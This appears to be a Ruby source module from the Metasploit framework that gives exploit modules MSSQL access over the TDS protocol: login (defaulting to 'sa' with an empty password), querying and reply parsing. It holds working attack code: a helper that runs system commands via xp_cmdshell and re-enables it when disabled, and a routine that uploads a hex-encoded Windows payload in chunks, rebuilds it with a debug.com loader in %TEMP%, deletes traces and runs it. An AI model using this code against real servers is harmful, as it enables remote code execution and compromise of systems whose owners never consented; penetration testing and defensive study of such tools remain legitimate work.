require 'msf/core' require 'msf/core/exploit/mssql_commands' module Msf ### # # This module exposes methods for querying a remote MSSQL service # ### module Exploit::Remote::MSSQL include Exploit::Remote::MSSQL_COMMANDS include Exploit::Remote::Udp include Exploit::Remote::Tcp # # Creates an instance of a MSSQL exploit module. # def initialize(info = {}) super # Register the options that all MSSQL exploits may make use of. register_options( [ Opt::RHOST, Opt::RPORT(1433), OptString.new('MSSQL_USER', [ false, 'The username to authenticate as', 'sa']), OptString.new('MSSQL_PASS', [ false, 'The password for the specified username', '']), OptPath.new('HEX2BINARY', [ false, "The path to the hex2binary script on the disk", File.join(Msf::Config.install_root, "data", "exploits", "mssql", "h2b") ]) ], Msf::Exploit::Remote::MSSQL) register_autofilter_ports([ 1433, 1434, 1435, 14330, 2533, 9152, 2638] ) register_autofilter_services(%W{ ms-sql-s ms-sql2000 sybase }) end # # This method sends a UDP query packet to the server and # parses out the reply packet into a hash # def mssql_ping(timeout=5) data = { } ping_sock = Rex::Socket::Udp.create( 'PeerHost' => rhost, 'PeerPort' => 1434, 'Context' => { 'Msf' => framework, 'MsfExploit' => self, }) ping_sock.put("\x02") resp, saddr, sport = ping_sock.recvfrom(65535, timeout) ping_sock.close return data if not resp return data if resp.length == 0 var = nil return mssql_ping_parse(resp) end # # Parse a 'ping' response and format as a hash # def mssql_ping_parse(data) res = {} var = nil idx = data.index('ServerName') return res if not idx data[idx, data.length-idx].split(';').each do |d| if (not var) var = d else if (var.length > 0) res[var] = d var = nil end end end return res end # # Execute a system command via xp_cmdshell # def mssql_xpcmdshell(cmd,doprint=false,opts={}) force_enable = false begin res = mssql_query("xp_cmdshell '#{cmd}'", false, opts) if(res[:errors] and not res[:errors].empty?) if(res[:errors].join =~ /xp_cmdshell/) if(force_enable) print_error("The xp_cmdshell procedure is not available and could not be enabled") raise RuntimeError, "Failed to execute command" else print_status("The server may have xp_cmdshell disabled, trying to enable it...") mssql_query(mssql_xpcmdshell_enable()) raise RuntimeError, "xp_cmdshell disabled" end end end mssql_print_reply(res) if doprint return res rescue RuntimeError => e if(e.to_s =~ /xp_cmdshell disabled/) force_enable = true retry end raise e end end # # Upload and execute a Windows binary through MSSQL queries # def mssql_upload_exec(exe, debug=false) hex = exe.unpack("H*")[0] var_bypass = rand_text_alpha(8) var_payload = rand_text_alpha(8) print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory") print_status("Writing the debug.com loader to the disk...") h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY'])) h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}") h2b.split(/\n/).each do |line| mssql_xpcmdshell("#{line}", false) end print_status("Converting the debug script to an executable...") mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug) mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug) print_status("Uploading the payload, please be patient...") idx = 0 cnt = 500 while(idx < hex.length - 1) mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false) idx += cnt end print_status("Converting the encoded payload...") mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug) mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug) mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug) print_status("Executing the payload...") mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1}) end # # Send and receive using TDS # def mssql_send_recv(req, timeout=15) sock.put(req) # Read the 8 byte header to get the length and status # Read the length to get the data # If the status is 0, read another header and more data done = false resp = "" while(not done) head = sock.get_once(8, timeout) if !(head and head.length == 8) return false end # Is this the last buffer? if(head[1,1] == "\x01") done = true end # Grab this block's length rlen = head[2,2].unpack('n')[0] - 8 while(rlen > 0) buff = sock.get_once(rlen, timeout) return if not buff resp << buff rlen -= buff.length end end resp end # # Encrypt a password according to the TDS protocol (encode) # def mssql_tds_encrypt(pass) # Convert to unicode, swap 4 bits both ways, xor with 0xa5 Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*") end # # This method connects to the server over TCP and attempts # to authenticate with the supplied username and password # The global socket is used and left connected after auth # def mssql_login(user='sa', pass='', db='') disconnect if self.sock connect pkt = "" idx = 0 pkt << [ 0x00000000, # Dummy size 0x71000001, # TDS Version 0x00000000, # Size 0x00000007, # Version rand(1024+1), # PID 0x00000000, # ConnectionID 0xe0, # Option Flags 1 0x03, # Option Flags 2 0x00, # SQL Type Flags 0x00, # Reserved Flags 0x00000000, # Time Zone 0x00000000 # Collation ].pack('VVVVVVCCCCVV') cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) uname = Rex::Text.to_unicode( user ) pname = mssql_tds_encrypt( pass ) aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) sname = Rex::Text.to_unicode( rhost ) dname = Rex::Text.to_unicode( db ) idx = pkt.size + 50 # lengths below pkt << [idx, cname.length / 2].pack('vv') idx += cname.length pkt << [idx, uname.length / 2].pack('vv') idx += uname.length pkt << [idx, pname.length / 2].pack('vv') idx += pname.length pkt << [idx, aname.length / 2].pack('vv') idx += aname.length pkt << [idx, sname.length / 2].pack('vv') idx += sname.length pkt << [0, 0].pack('vv') pkt << [idx, aname.length / 2].pack('vv') idx += aname.length pkt << [idx, 0].pack('vv') pkt << [idx, dname.length / 2].pack('vv') idx += dname.length # The total length has to be embedded twice more here pkt << [ 0, 0, 0x12345678, 0x12345678 ].pack('vVVV') pkt << cname pkt << uname pkt << pname pkt << aname pkt << sname pkt << aname pkt << dname # Total packet length pkt[0,4] = [pkt.length].pack('V') # Embedded packet lengths pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2 # Packet header and total length including header pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt resp = mssql_send_recv(pkt) info = {:errors => []} info = mssql_parse_reply(resp,info) info[:login_ack] ? true : false end # # Login to the SQL server using the standard MSSQL_USER/MSSQL_PASS options # def mssql_login_datastore(db='') mssql_login(datastore['MSSQL_USER'], datastore['MSSQL_PASS'], db) end # # Issue a SQL query using the TDS protocol # def mssql_query(sqla, doprint=false, opts={}) info = { :sql => sqla } opts[:timeout] ||= 15 pkts = [] idx = 0 bsize = 4096 - 8 chan = 0 @cnt ||= 0 @cnt += 1 sql = Rex::Text.to_unicode(sqla) while(idx < sql.length) buf = sql[idx, bsize] flg = buf.length < bsize ? "\x01" : "\x00" pkts << "\x01" + flg + [buf.length + 8].pack('n') + [chan].pack('n') + [@cnt].pack('C') + "\x00" + buf idx += bsize end resp = mssql_send_recv(pkts.join, opts[:timeout]) mssql_parse_reply(resp, info) mssql_print_reply(info) if doprint info end # # Nicely print the results of a SQL query # def mssql_print_reply(info) print_status("SQL Query: #{info[:sql]}") if(info[:done] and info[:done][:rows].to_i > 0) print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})") end if(info[:errors] and not info[:errors].empty?) info[:errors].each do |err| print_error(err) end end if(info[:rows] and not info[:rows].empty?) tbl = Rex::Ui::Text::Table.new( 'Indent' => 1, 'Header' => "", 'Columns' => info[:colnames] ) info[:rows].each do |row| tbl << row end print_line(tbl.to_s) end end # # Parse a raw TDS reply from the server # def mssql_parse_tds_reply(data, info) info[:errors] ||= [] info[:colinfos] ||= [] info[:colnames] ||= [] # Parse out the columns cols = data.slice!(0,2).unpack('v')[0] 0.upto(cols-1) do |col_idx| col = {} info[:colinfos][col_idx] = col col[:utype] = data.slice!(0,2).unpack('v')[0] col[:flags] = data.slice!(0,2).unpack('v')[0] col[:type] = data.slice!(0,1).unpack('C')[0] case col[:type] when 48 col[:id] = :tinyint when 52 col[:id] = :smallint when 56 col[:id] = :rawint when 61 col[:id] = :datetime when 34 col[:id] = :image col[:max_size] = data.slice!(0,4).unpack('V')[0] col[:value_length] = data.slice!(0,2).unpack('v')[0] col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '') when 36 col[:id] = :string when 38 col[:id] = :int col[:int_size] = data.slice!(0,1).unpack('C')[0] when 127 col[:id] = :bigint when 165 col[:id] = :hex col[:max_size] = data.slice!(0,2).unpack('v')[0] when 173 col[:id] = :hex # binary(2) col[:max_size] = data.slice!(0,2).unpack('v')[0] when 231,175,167,239 col[:id] = :string col[:max_size] = data.slice!(0,2).unpack('v')[0] col[:codepage] = data.slice!(0,2).unpack('v')[0] col[:cflags] = data.slice!(0,2).unpack('v')[0] col[:charset_id] = data.slice!(0,1).unpack('C')[0] else col[:id] = :unknown end col[:msg_len] = data.slice!(0,1).unpack('C')[0] if(col[:msg_len] and col[:msg_len] > 0) col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '') end info[:colnames] << (col[:name] || 'NULL') end end # # Parse individual tokens from a TDS reply # def mssql_parse_reply(data, info) info[:errors] = [] return if not data until data.empty? token = data.slice!(0,1).unpack('C')[0] case token when 0x81 mssql_parse_tds_reply(data, info) when 0xd1 mssql_parse_tds_row(data, info) when 0xe3 mssql_parse_env(data, info) when 0x79 mssql_parse_ret(data, info) when 0xfd, 0xfe, 0xff mssql_parse_done(data, info) when 0xad mssql_parse_login_ack(data, info) when 0xab mssql_parse_info(data, info) when 0xaa mssql_parse_error(data, info) when nil break else info[:errors] << "unsupported token: #{token}" end end info end # # Parse a single row of a TDS reply # def mssql_parse_tds_row(data, info) info[:rows] ||= [] row = [] info[:colinfos].each do |col| if(data.length == 0) row << "" next end case col[:id] when :hex str = "" len = data.slice!(0,2).unpack('v')[0] if(len > 0 and len < 65535) str << data.slice!(0,len) end row << str.unpack("H*")[0] when :string str = "" len = data.slice!(0,2).unpack('v')[0] if(len > 0 and len < 65535) str << data.slice!(0,len) end row << str.gsub("\x00", '') when :datetime row << data.slice!(0,8).unpack("H*")[0] when :rawint row << data.slice!(0,4).unpack('V')[0] when :bigint row << data.slice!(0,8).unpack("H*")[0] when :smallint row << data.slice!(0, 2).unpack("v")[0] when :smallint3 row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0] when :tinyint row << data.slice!(0, 1).unpack("C")[0] when :image str = '' len = data.slice!(0,1).unpack('C')[0] str = data.slice!(0,len) if (len and len > 0) row << str.unpack("H*")[0] when :int len = data.slice!(0, 1).unpack("C")[0] raw = data.slice!(0, len) if (len and len > 0) case len when 0,255 row << '' when 1 row << raw.unpack("C")[0] when 2 row << raw.unpack('v')[0] when 4 row << raw.unpack('V')[0] when 5 row << raw.unpack('V')[0] # XXX: missing high byte when 8 row << raw.unpack('VV')[0] # XXX: missing high dword else info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}" end else info[:errors] << "unknown column type: #{col.inspect}" end end info[:rows] << row info end # # Parse a "ret" TDS token # def mssql_parse_ret(data, info) ret = data.slice!(0,4).unpack('N')[0] info[:ret] = ret info end # # Parse a "done" TDS token # def mssql_parse_done(data, info) status,cmd,rows = data.slice!(0,8).unpack('vvV') info[:done] = { :status => status, :cmd => cmd, :rows => rows } info end # # Parse an "error" TDS token # def mssql_parse_error(data, info) len = data.slice!(0,2).unpack('v')[0] buff = data.slice!(0,len) errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv') emsg = buff.slice!(0,elen * 2) emsg.gsub!("\x00", '') info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" info end # # Parse an "environment change" TDS token # def mssql_parse_env(data, info) len = data.slice!(0,2).unpack('v')[0] buff = data.slice!(0,len) type = buff.slice!(0,1).unpack('C')[0] nval = '' nlen = buff.slice!(0,1).unpack('C')[0] || 0 nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0 oval = '' olen = buff.slice!(0,1).unpack('C')[0] || 0 oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0 info[:envs] ||= [] info[:envs] << { :type => type, :old => oval, :new => nval } info end # # Parse an "information" TDS token # def mssql_parse_info(data, info) len = data.slice!(0,2).unpack('v')[0] buff = data.slice!(0,len) errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv') emsg = buff.slice!(0,elen * 2) emsg.gsub!("\x00", '') info[:infos]||= [] info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" info end # # Parse a "login ack" TDS token # def mssql_parse_login_ack(data, info) len = data.slice!(0,2).unpack('v')[0] buff = data.slice!(0,len) info[:login_ack] = true end end end